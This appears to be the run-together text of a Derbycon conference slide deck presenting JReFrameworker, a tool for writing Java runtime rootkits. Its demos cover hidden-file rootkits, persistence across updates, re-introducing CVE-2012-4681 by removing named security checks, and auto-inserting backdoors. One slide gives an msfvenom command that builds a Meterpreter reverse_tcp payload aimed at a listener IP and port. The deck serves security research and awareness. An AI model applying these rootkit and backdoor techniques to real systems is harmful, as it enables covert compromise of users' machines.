JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever!...

JReFrameworker:OneYearLaterben-holland.com (daedared)

jreframeworker.com

I♥ Derbycon

• Derbycon 3.0:Myfirstconever!Lovedit.• Derbycon 4.0:ABugorMalware?Catastrophicconsequenceseitherway.• Howwouldyoudetectthedifferencebetweenaspellcheckerandaspellwrecker (invertedspellchecker)?

I♥ Derbycon

• Derbycon 3.0:Myfirstconever!Lovedit.• Derbycon 4.0:ABugorMalware?Catastrophicconsequenceseitherway.

I♥ Derbycon

• Derbycon 3.0:Myfirstconever!Lovedit.• Derbycon 4.0:ABugorMalware?Catastrophicconsequenceseitherway.• Howwouldyoudetectthedifferencebetweenaspellcheckerandaspellwrecker (invertedspellchecker)?• ManagedCodeRootkitswerepresentedforC#andJavain2010,butnoreliabletoolsexistedformetoinjectmypayloadintheJVML

I♥ Derbycon

• Derbycon 3.0:Myfirstconever!Lovedit.• Derbycon 4.0:ABugorMalware?Catastrophicconsequenceseitherway.• DEFCON24:DevelopingManagedCodeRootkitsfortheJavaRuntimeEnvironment.• Derbycon 7.0:JReFrameworker:OneYearLater.• BringingitfullcircleJ

Overview(showallthedemos!)

• ManagedCodeRootkits• Demo1:HelloWorld

• JReFrameworker• Demo2:HiddenFileRootkit

• PayloadDropper• Demo3:PostExploitationwithMetasploit

• AdvancedPersistence• Demo4:SurvivingJavaUpdates

• IncrementalBuilding• Demo5:RestoringCVE-2012-4681

• ProgramAnalysisIntegrations• Demo6:AutomaticBackdoors• Demo7:“MinorityReport”Development• Demo8:ContextAwareMalware

Demo1:EvilJava?

EvilRuntimeLibraries(.jarfiles)

ManagedCodeLanguages

JavaSourceCode(.javafiles)

JavaCompiler

JavaBytecode(.classfiles)

JavaApplication(.jarfile)

OperatingSystem(Windows,Mac,Linux)

JavaVirtualMachine

RuntimeLibraries(.jarfiles)


WriteOnce,RunAnywhere?Compatibility?

JavaVirtualMachine

EvilRuntimeLibraries(.jarfiles)

ManagedCodeRootkits

JavaSourceCode(.javafiles)

JavaCompiler

JavaBytecode(.classfiles)


OperatingSystem(Windows,Mac,Linux)

JavaVirtualMachine


WriteOnce,RunAnywhere?

Background

• Notreallyanewidea…• Manipulatingalibraryaffectsallapplicationsusingthelibrary• HadpreviouslybeendemonstratedonC#andJava(2010)• RecentsurgeinsimilarresearchforPythonlibraries

• Outofsightoutofmind• Codereviews/auditsdon’ttypicallyauditruntimes• Maybeoverlookedbyforensicinvestigators

• JVMruntimeisfullyfeatured• ObjectOrientedprogramming• Platformindependentportablerootkits(ifdoneright)

• DEFCON24:JReFrameworker(initialrelease)• Lowersthebarriertoentry!(developMCRsinJavasource,minimalskillz required)• Anawarenessprojectformanagedcoderootkits

ModifyingtheRuntimeHowcanwemodifytheruntimeforgood evilpurposes?

BytecodeIntermediate

Representations DecompiledSource

Difficult StillTricky IdealbutUnreliable

BasicIdea:Overview

• Itiseasytowritesourcecode• Itseasytoconvertsourcecodetobytecode(compiler!)• Itsrelativelyeasytoinject,replace,merge,deletewholemethods

• Source:http://asm.ow2.org/current/asm-transformations.pdf

• Aclasscontainsdeclarationsoffieldsandmethods• All“code”(assignments,methodcalls,etc.)mustbeinamethodbody• Ifwecandeclarefieldsandadd/replace/merge/deletemethodswecancovermostbytecodemanipulationusecasesbyonlywritingsourcecode• Tradeoff:Makingsmalleditswithinamethodrequiresrewritingthewholemethod…

BasicIdea:AddCode

UserClass OriginalClass

Class:java.io.File

Method:exists(){...}

Method:getName(){...}

Class:example.MyFileextendsjava.io.File

AddMethod:foo(){...}

Method:foo(){...}

UnavailableSourceUserSource

BasicIdea:ReplaceCode


Class:java.io.File




AddMethod:exists(){...}


BasicIdea:DeleteCode


Class:java.io.File




DeleteMethod:exists();


BasicIdea:Merge(hook)Code


Class:java.io.File


Method:exists(){//hookbeforeherereturnold_exists();}


MergeMethod:exists(){//hookbeforeherereturnsuper.exists();}


Method:old_exists(){...}

JReFrameworker

• WriterootkitsinJavasource!• Modificationbehaviorsdefinedwithcodeannotations• DevelopanddebuginEclipseIDE• Exploit"modules"areEclipseJavaprojects• Exportablepayloaddroppers• Bytecode injectionsarecomputedonthefly

• Free+OpenSource(MITLicense):jreframeworker.com

JReFrameworker

JReFrameworkerAnnotations

• JavaAnnotations:“syntacticmetadatathatcanbeaddedto Java sourcecode”(Wikipedia)• 3TypesofAnnotations• Sourcecodeonly(doesnotendupincompiledbinary)• Codeonly(includedinbytecode,butareignoredbyJVM)• Runtime(includedinbytecodeandareavailablethroughreflectionatruntime)

• Idea:Useannotationstotemporarilymarkpartsoftheusermadebytecodeforthebytecodemanipulationengine

BasicJReFrameworkerAnnotations

(InsertsorReplaces) (PreservesandReplaces)

Demo2:HiddenFileModule

• JReFrameworker• DevelopanddebugmodificationsinafamiliarIDE(Eclipse)• Specializedbytecodemanipulationengine

• JReFrameworkerModules• EclipseprojectofannotatedJavasourcecode• Alistoftargetruntimes/librariestobemodified• Canbeusedtoexportapayloaddroppertocomputeontheflybytecodeinjections

Demo3:Post-Exploitation

• Wehavedevelopedandtestedourhiddenfilemodule.Howdowedeploythechangetothevictim’sruntime?• Mustberoot/administratorinmostcases(dependingwheretheruntimeisinstalled)• Example:C:\ProgramFiles(x86)\Java\jre8

RestofThisTalk:JReFrameworkerNewShiny

• Improvementstomanipulationcapabilities• Improvementstodevelopmentworkflow• Improvementstopostexploitationprocess• Improvementstopersistence• Progresstowardsautomaticmanipulations

JReFrameworker

BasicBugFixes/Improvements• JarResources

• Preservingstartupconfigurationsandresourcefiles• DealingwithsignedJars(unsign ifnecessary,resignwithkeystore)

• Annotations• Supportformultipleannotations• Replacedmethodsarenowpurgedcorrectly• @MergeMethod annotationsupportforstaticmethods

• Modules• Symbolic/relativepaths(portableprojects)• Supportformanipulatingapplications

• Generalworkflowissues• Modificationstoruntimeandapplicationsarenowconceptuallythesame

• RegressionTesting(JUnit)!• Doublesasworkingexamplesofannotations• Helptopreventfuturebugs

DropperImprovements

Demo4:SurvivingJavaUpdates

• Challenge:AnewversionofJavagetsreleased.Theusersrunstheinstallerandinstallsanewdefaultruntime.Nowwhat?

//removescom.example.MyClass fromtarget@PurgeTypepublicclassBuildextendsMyClass {… }

AnnotationImprovements(Purge)

PurgeType @PurgeTypeMethod @PurgeMethodField @PurgeField

• WhatifIjustwantsomethinggone?

//removescom.example.MyClass fromtarget@PurgeType(type="com.example.MyClass")publicclassBuild{… }

AnnotationImprovements(Visibility/Finality)

Visibility FinalityType @DefineTypeVisibility @DefineTypeFinalityMethod @DefineMethodVisibility @DefineMethodFinalityField @DefineFieldVisibility @DefineFieldFinality

• WhatifIcan’taccessatype/method/field?

//removesfinalmodifierfromcom.example.MyUnextensibleClass@DefineTypeFinality(type="com.example.MyUnextensibleClass",finality=false)publicclassPrebuild{}

AnnotationImprovements(BuildPhases)

• WhatifIneedtomakechangesinsteps?• Phasesprogressfromphase1ton

//phase1removesfinalmodifierfromcom.example.MyUnextensibleClass@DefineTypeFinality(phase=1,type="com.example.MyUnextensibleClass",finality=false)publicclassPrebuild{}

//phase2definesatypethatextendsapreviouslyfinaltype@MergeType(phase=2)publicclassMyClass extendsMyUnextensibleClass {… }//compileerroruntilphase1completes

IncrementalBuilder

• CleanProject/FullBuild1. Letbuildphasei=12. Compileallsourceswithoutcompilererrors3. Manipulatetargetforphasei4. Updateclasspath andrecompilesources5. Repeatfromstep2

• IncrementalBuilder1. Foreachadd,modify,deletefilechangeset

• Revertbuildphasetofirstimpactedbuildphase2. Rebuildfromrevertedbuildphaseandrepeatuntilnonewchanges

Derbycon 4.0:RefactoringCVE-2012-4681

• “AllowsremoteattackerstoexecutearbitrarycodeviaacraftedappletthatbypassesSecurityManager restrictions…”• CVECreatedAugust27th2012(~2yearsold…)• github.com/benjholla/CVE-2012-4681-Armoring

DEFCON24:RefactoringCVE-2012-4681

• “AllowsremoteattackerstoexecutearbitrarycodeviaacraftedappletthatbypassesSecurityManager restrictions…”• CVECreatedAugust27th2012(~4yearsold!)• github.com/benjholla/CVE-2012-4681-Armoring

Demo5:The“ReverseBug”Patch

• FixedinJava7update7• “Unfixing”CVE-2012-4681inJava8• com.sun.beans.finder.ClassFinder

• RemovecallstoReflectUtil.checkPackageAccess(…)• com.sun.beans.finder.MethodFinder

• RemovecallstoReflectUtil.isPackageAccessible(…)• sun.awt.SunToolkit

• RestoregetField(...)method

• Unobfuscated vulnerability gets0/56onVirusTotal

Demo6:TowardsAutomaticBackdoors

BasicSteps:1. Findandhookmainmethod2. Spawnanewthread3. ExecuteMeterpreterreverseTCPJavapayload


• Phase1:AddMeterpreterJavaPayload• https://github.com/rapid7/metasploit-payloads/blob/master/java/javapayload/src/main/java/metasploit/Payload.java

…


• Phase2:Defineanewthreadforpayloadandconfigureproperties• Equivalent:msfvenom -fraw-pjava/meterpreter/reverse_tcpLHOST=172.16.189.167LPORT=4444-o~/Desktop/meterpreter.jar


• Phase3:Spawnnewthreadwithpayloadandcalloriginalapplicationentrypoint• Works,butseemstobeanissuewithjavameterpreter payloadinlatestrelease• https://github.com/rapid7/meterpreter/issues/179

• Thisentireprocesscaneasilybeautomated,butisthisreallythatinteresting/useful?

Onlyvariable

Demo7:VisuallyManipulatingApplications

• NewFeatures• JavaPoetsourcecodegeneration(https://github.com/square/javapoet)• Atlasprogramanalysis(http://www.ensoftcorp.com/atlas/)

• Goal:HardeningJD-GUIdecompiler soitwon’tdecompileitself• Challenge:Howdowefindtheparticularcodewewanttomanipulate?• Challenge:JD-GUIisreleasedunderGPLv3License,butsourceisnotpublic…<snarkycommentabouthavingadecompiler>

Demo8:ContextAwareMalware

• Insteadofmodifyingtheapplication,couldwemodifytheJVMruntimetopreventJD-GUIfromdecompilingruntime?

• Idea:Usereflection,stacktraces,examinationofcallerparameters,etc.todeterminehowtobehaveforagivencallingcontext.• Similartoaspectorientprogramming• Flashback:DEFCONJReFrameworkerDOOMDemo

Demo9:KitchenSink

ContrivedScenario:• JavaDeveloper’sEclipseisactingweird…helpingmaketypos…pixelatingimages…• Suspectrt.jar iscompromised• Decompilert.jar anddecompiler crashes• Decompiledecompiler anddecompiler says:Nope.• GetsfrustratedandupdatesJavatolatestversion• Problemssomehowpersist…• Goesinsane• Downloadsanewprogramminglanguages…storyendshere?

ProjectRoadmap

• StudysupportingotherJVMlanguages(JVMBytecodeisn’tjustJava)• JVMSpecific:Java,Scala,Clojure,Groovy,Ceylon,Fortess,Gosu,Kotlin…• PortedLanguages:JRuby,Jython,Smalltalk,Ada,Scheme,REXX,Prolog,Pascal,CommonLISP…• Interestingwork:https://github.com/Storyyeller/Krakatau

ProjectRoadmap

• Findandfixthebugs!• Betterprogramanalysisintegrations• CodeGenerationWizards

• Moreinterestingmodules• Youcanhelpwiththis!• https://github.com/JReFrameworker/modules

• Androidsupportisalreadyinthepipeline• APKà DEXà JARà JReFrameworkerà JARà DEXà APK

ToolRelease

• Tool:https://jreframeworker.com/install• MITLicense• 100%OpenSource• EclipsePluginwithUpdateSite(Eclipse>Help>InstallNewPlugins…)

• Tutorials:https://jreframeworker.com/tutorials• Walkthroughsofhelloworld,hiddenfile,andMetasploit payloaddeployment

• Giveitatry.Sendmefeedback!• Support:https://github.com/JReFrameworker/JReFrameworker/issues• Email:[email protected]

ThankYou!

• Questions?

ben-holland.comjreframeworker.com

Date post:	30-Sep-2020
Category:	Documents
Upload:	others
View:	1 times
Download:	0 times

JReFrameworker: One Year Later - Ben Holland · I ♥Derbycon •Derbycon3.0: My first con ever!...

Documents